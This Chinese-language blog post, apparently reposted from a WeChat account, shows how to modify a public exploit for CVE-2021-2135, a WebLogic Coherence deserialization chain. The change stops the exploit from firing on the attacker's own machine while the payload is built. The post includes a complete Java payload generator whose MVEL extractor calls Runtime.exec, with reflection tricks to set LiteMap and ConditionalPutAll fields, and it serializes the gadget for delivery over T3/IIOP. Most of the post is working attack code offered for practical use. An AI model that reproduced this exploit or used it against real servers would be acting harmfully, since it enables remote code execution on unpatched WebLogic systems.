CVE-2021-2135在本地触发的改造

渗透技巧 2年前 (2022) admin
1,058 0 0

CVE-2021-2135是一个weblogic的反序列链,依赖coherence.jar/coherence-web.jar/coherence-rest.jar。因此只能在weblogic12或者weblogic14版本上打,weblogic10就不行。

既然是反序列化链,那就可以在三个反序列化入口上打,T3/IIOP/ldap,这里的ldap也就是CVE-2021-2109。

 

网上公开的exp如下。

https://github.com/R17a-17/JavaVulnSummary/blob/bd30150e9ea4ffd44a4be47cd63aedaa93f7ba22/weblogic/src/main/java/com/r17a/weblogic/cve/CVE_2021_2135.java

 

其sink点在于Mvel代码执行,简写如下。

        String payload = "java.lang.Runtime.getRuntime().exec("calc");return new Integer(1);";        MvelExtractor extractor1 = new MvelExtractor(payload);        extractor1.extract(1);

那么在com.tangosol.coherence.rest.util.extractor.MvelExtractor.extract()下断点,堆栈如下。

CVE-2021-2135在本地触发的改造

具体原理不分析了,这里不是重点,网上也有分析文章大家自己搜。

注意堆栈中的LiteMap<K,V>(InflatableMap<K,V>).put(K, V)

在原exp中,LiteMap也做了两次put。

        liteMap.put(simpleBinaryEntry,1);        liteMap.put(new XString(null),2);

在第二次put的时候,就会在本地直接触发命令执行,也就是说还没等exp打到别人服务器上,自己的服务器先被打了。

 

CVE-2021-2135在本地触发的改造

其原理和URLDNS链是一样的,我之前的老文章讲过,之所以要在URLDNS链中两次修改hashCode的值,就是为了规避这种情况。

Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");f.setAccessible(true);f.set(url, 0);f.set(url, -1);

从堆栈中我们可以看到,是因为触发了Objects.equals(),才引发后面的命令执行,那么我们怎么规避equals()呢?

下断点来看第一次put,注意这里idea自己解析也可能导致命令执行,无视即可。

CVE-2021-2135在本地触发的改造

由于this.m_nImpl=0,进入case 0分支,变成1后再给this.m_oContents注册KV,代码很简单。

 

再看第二次put。

CVE-2021-2135在本地触发的改造

进入case 1分支,将原本的this.m_oContents和新的KV合并成一个Map组。最后将this.m_nImpl变成3。

触发命令执行的代码在哪儿呢?正是if的判断Objects.equals(key, entryKey)。

主要的代码逻辑只是变动了两个属性,那么我们只要放弃put,依葫芦画瓢,用反射修改这两个属性即可。

        byte bt = 3;        Map.Entry[] arrayOfEntry1 = new Map.Entry[8];        Map.Entry entry = (Entry) Utils.getFieldValue(liteMap, "m_oContents").get(liteMap);        arrayOfEntry1[0] = entry;        arrayOfEntry1[1] = new AbstractMap.SimpleEntry(new XString(null), 2);        Utils.setFieldValue(liteMap, "m_nImpl", bt);        Utils.setFieldValue(liteMap, "m_oContents", arrayOfEntry1);

这样就不会经过if判断,规避了本地执行代码的问题。

 

下面还有一行代码有同样的问题,看类名就看的出来,它执行了putall。

        ConditionalPutAll conditionalPutAll = new ConditionalPutAll(new MapEventFilter(), liteMap);

跟进com.tangosol.util.processor.ConditionalPutAll()

CVE-2021-2135在本地触发的改造

再跟进com.tangosol.util.LiteMap()

CVE-2021-2135在本地触发的改造

putall当然也会触发,所以这里也改一下,先put一个空的LiteMap,再用反射改。

        ConditionalPutAll conditionalPutAll = new ConditionalPutAll(new MapEventFilter(), new LiteMap());        Utils.setFieldValue(conditionalPutAll, "m_map", liteMap);

 

优化后的代码如下。

package sonomon.weblogic.exec;
import com.sun.org.apache.xpath.internal.objects.XString;import com.tangosol.coherence.rest.util.extractor.MvelExtractor;import com.tangosol.coherence.servlet.AttributeHolder;import com.tangosol.internal.util.SimpleBinaryEntry;import com.tangosol.io.DefaultSerializer;import com.tangosol.io.Serializer;import com.tangosol.util.*;import com.tangosol.util.aggregator.TopNAggregator;import com.tangosol.util.filter.MapEventFilter;import com.tangosol.util.processor.ConditionalPutAll;
import java.io.*;import java.lang.reflect.Method;import java.util.AbstractMap;import java.util.Map;import java.util.Map.Entry;
import sonomon.weblogic.Utils;
public class CVE_2021_2135 {    public static void main(String[] args) throws Exception {//        final String command = args[1];
//         最终的执行载体//         执行没有结果时会返回ProcessImpl实例,poc会将结果转为Comparable,ProcessImpl实例不能转换所以会报错,因此这里返回一个Integer类型的数据//        MvelExtractor extractor1 = new MvelExtractor("java.lang.Runtime.getRuntime().exec("calc");return new Integer(1);");        String payload = "java.lang.Runtime.getRuntime().exec("calc");return new Integer(1);";        MvelExtractor extractor1 = new MvelExtractor(payload);        MvelExtractor extractor2 = new MvelExtractor("");                // 序列化入口        AttributeHolder attributeHolder = new AttributeHolder();
        SortedBag partialResult = new TopNAggregator.PartialResult(extractor2, 2);        partialResult.add(1);        Utils.setFieldValue(partialResult, "m_comparator", extractor1);
        // 这里bin_Key必须用ExternalizableHelper.writeObject赋值,不能用partialResult.writeExternal(dataOutputStream1);        // 因为使用partialResult.writeExternal最终不会调用partialResult.readExternal,只会写m_comparator,不写partialResult自身        ByteArrayOutputStream baos1 = new ByteArrayOutputStream();        DataOutputStream dataOutputStream1 = new DataOutputStream(baos1);        ExternalizableHelper.writeObject(dataOutputStream1, partialResult);
        ByteArrayOutputStream baos2 = new ByteArrayOutputStream();        DataOutputStream dataOutputStream2 = new DataOutputStream(baos2);        ExternalizableHelper.writeObject(dataOutputStream2, new Integer(0));
        Binary key = new Binary(baos1);        Binary value = new Binary(baos2);        SimpleBinaryEntry simpleBinaryEntry = new SimpleBinaryEntry(key,value);        Serializer m_serializer= new DefaultSerializer(SimpleBinaryEntry.class.getClassLoader());        simpleBinaryEntry.setContextSerializer(m_serializer);
        // 调用xString.equals(simpleBinaryEntry)可触发SimpleBinaryEntry#toString,所以map按顺序先加入simpleBinaryEntry,再加入xString        LiteMap liteMap = new LiteMap();        liteMap.put(simpleBinaryEntry,1);                //        liteMap.put(new XString(null),2);//        直接put会在本地触发,反射写进去        byte bt = 3;        Map.Entry[] arrayOfEntry1 = new Map.Entry[8];        Map.Entry entry = (Entry) Utils.getFieldValue(liteMap, "m_oContents").get(liteMap);        arrayOfEntry1[0] = entry;        arrayOfEntry1[1] = new AbstractMap.SimpleEntry(new XString(null), 2);        Utils.setFieldValue(liteMap, "m_nImpl", bt);        Utils.setFieldValue(liteMap, "m_oContents", arrayOfEntry1);                //ConditionalPutAll conditionalPutAll = new ConditionalPutAll(new MapEventFilter(), liteMap);        //同理,直接new会putall,也会本地触发,反射写进去        ConditionalPutAll conditionalPutAll = new ConditionalPutAll(new MapEventFilter(), new LiteMap());        Utils.setFieldValue(conditionalPutAll, "m_map", liteMap);                // 序列化入口//        AttributeHolder attributeHolder = new AttributeHolder();        Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);        setInternalValue.setAccessible(true);        setInternalValue.invoke(attributeHolder, conditionalPutAll); //调用setInternalValue方法设置m_oValue属性为conditionalPutAll        Utils.serialize(attributeHolder);        //Utils.deserialize();    }}

 

 

 

原文始发于微信公众号(珂技知识分享):CVE-2021-2135在本地触发的改造

版权声明:admin 发表于 2022年4月27日 下午3:08。
转载请注明:CVE-2021-2135在本地触发的改造 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...